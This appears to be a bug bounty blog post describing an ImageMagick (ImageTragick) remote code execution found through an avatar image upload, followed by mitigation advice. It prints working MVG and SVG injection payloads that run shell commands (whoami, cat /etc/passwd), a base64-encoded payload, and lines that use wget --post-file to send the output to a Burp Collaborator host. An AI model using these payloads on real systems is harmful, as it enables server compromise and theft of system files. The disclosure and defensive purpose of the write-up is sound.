Remote Code Execution because of an image source? Is it Possible? Yes! Definitely. Here in this blog post, a Strynx team member found a variation of Remote Code Execution AKA RCE through ImageMagick which earned him a generous bounty of $5000. Amazingly, some tweaks inside the image source exfiltrated the data over DNS (also called side-channel attacks). Let’s see how was it done after a short introduction to ImageMagick.
What is ImageMagick? ImageMagick is a free and open-source software suite for displaying, converting, and editing raster image and vector image files. It can read and write over 200 image file formats. Suprisingly ImageMagick is used by many Fortune 500 companies. ImageMagick is very popular and some plugins make it easy to use with PHP, Ruby, Node.js and other languages so it is common for websites to use it for image resizing or cropping.
#Protip: If a website uses your photo and crops them into the avatar, there may be a good chance that the website is using ImageMagick to do that.
Coming on to vulnerabilities. Is it secured? No, you have to manually take efforts in securing them. In the year 2016, researchers discovered that it was possible to execute arbitrary code (CVE-2016-3714) by hiding it inside image files that a user uploads. That means an attacker can make a web server do its bidding by uploading an image containing code the attacker chooses. This is all denoted in the site https://imagetragick.com/ which deals on these vulnerabilities and how to mitigate them.
Vulnerabilities in Image Decoder:
ImageMagick allows processing files with external libraries. This feature is called ‘delegate’. It is implemented as a system() with command string (‘command’) from the config file delegates.xml with the actual value for different params (input/output filenames etc). Due to insufficient %M param filtering, it is possible to conduct shell command injection. The most dangerous part is ImageMagick supports several formats like svg, mvg – which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user-supplied images and uses default delegates.xml / policy.xml, may be vulnerable to this issue. Some common exploits: (Code execution commands are set as bold)
exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
Here in this case study, we will use our mvg exploit which is interpreted by the server, and when decoded, causes code to execute.
Abusing ImageMagick library to get Remote Code Execution
The program which is being mentioned in the blog post is a private program, hence the representation of the site would be example.com as disclosure is not allowed.
With static image file interpretation, it was observed that ImageMagick was possibly being used in the application. The image file contained certain keywords which helped conclude the possibility. The URL was as follows: https://subdomain.example.com/directory/5b9682b23bb………:avatar?a44c0de5…..c54b5&x6xx9jul3=1
After analysing the source of the image file it was found that an interesting string “EXtdate:modify” resided in it. It was observed that the server converted pictures with “ImageMagick”/”GraphicksMagick” but did not add the -strip command line option. Therefore now the converted image now has the plaintext tEXtdate: create.
Along with this, EXtdate: modify and timestamps are usually included in the png files.
Thus after obtaining this information, it was time to exploit this issue. The exploits shown above were now modified to test the time-based payloads. Here is the sample code used:
push graphic-context
viewbox 0 0 200 200
fill ‘url(https://example.org/vfqBnrslJIi/”;sleep “6.0)’
pop graphic-context
The payload was converted into base64 as the parameter supplying the request indicated it was base64 decoding the request. The newly generated payload for parameter d64:
cHVzaCBncmFwaGljLWNvbnRleHQKdmlld2JveCAwIDAgMjAwIDIwMApmaWxsICd1cmwoaHR0cHM6Ly9leGFtcGxlLm9yZy92ZnFCbnJzbEpJaS8iO3NsZWVwICI2LjApJwpwb3AgZ3JhcGhpYy1jb250ZXh0
It was observed that the payload was base64 decoded and the response was in a delay of 6.0 seconds, confirming the attack.
It was time to exploit further. Direct read access wasn’t presented thus with the help of burp collaborator the results to the executed codes was obtained. The payload was modified to store the output of a command in a txt file and then using wget –post-file to our burp collaborator.
Firstly, the user of the application was checked using whoami. The payload was generated as follows:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|whoami>>/tmp/pwned.txt”)’
pop graphic-context.
The result of the command was stored in pwned.txt and thus using burp collaborator the file was read as follows:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|wget –post-file /tmp/pwned.txt XXX.burpcollaborator.net”)’
pop graphic-context
A ping was observed in the burp collaborator with the request containing the user of the application.
To fully demonstrate the impact a POC was generated to read the contents of /etc/passwd. Using the same steps the two payloads were as follows:
- Saving output to pwned.txt
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|cat /etc/passwd >>/tmp/pwned.txt”)’
pop graphic-context
- Reading the file using our collaborator
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg “|wget –post-file /tmp/pwned.txt XXX.burpcollaborator.net”)’
pop graphic-context
As seen in the screenshot, the contents of /etc/passwd of the server were now read confirming the issue on the server.
The issue was reported to the company’s vulnerability disclosure program using appropriate measures. The vulnerability was confirmed within hours of reporting and the fixed was deployed as soon as possible. A bounty of $5000 was rewarded for this issue.
If your website uses ImageMagick Library make sure you mitigate it with appropriate steps as shown below:
- Verify that all image files begin with the expected “magic bytes” corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info)
- Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in “/etc/ImageMagick”. The below policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL.
Policy.xml file:
<policymap><policy domain="coder" rights="none" pattern="EPHEMERAL" /><policy domain="coder" rights="none" pattern="URL" /><policy domain="coder" rights="none" pattern="HTTPS" /><policy domain="coder" rights="none" pattern="MVG" /><policy domain="coder" rights="none" pattern="MSL" /><policy domain="coder" rights="none" pattern="TEXT" /><policy domain="coder" rights="none" pattern="SHOW" /><policy domain="coder" rights="none" pattern="WIN" /><policy domain="coder" rights="none" pattern="PLT" /></policymap>
That’s all for this blog. Hope you liked it. Stay tuned for upcoming posts. Please subscribe to the blog if you haven’t done yet to never miss any blogs published to the site. Have a nice day!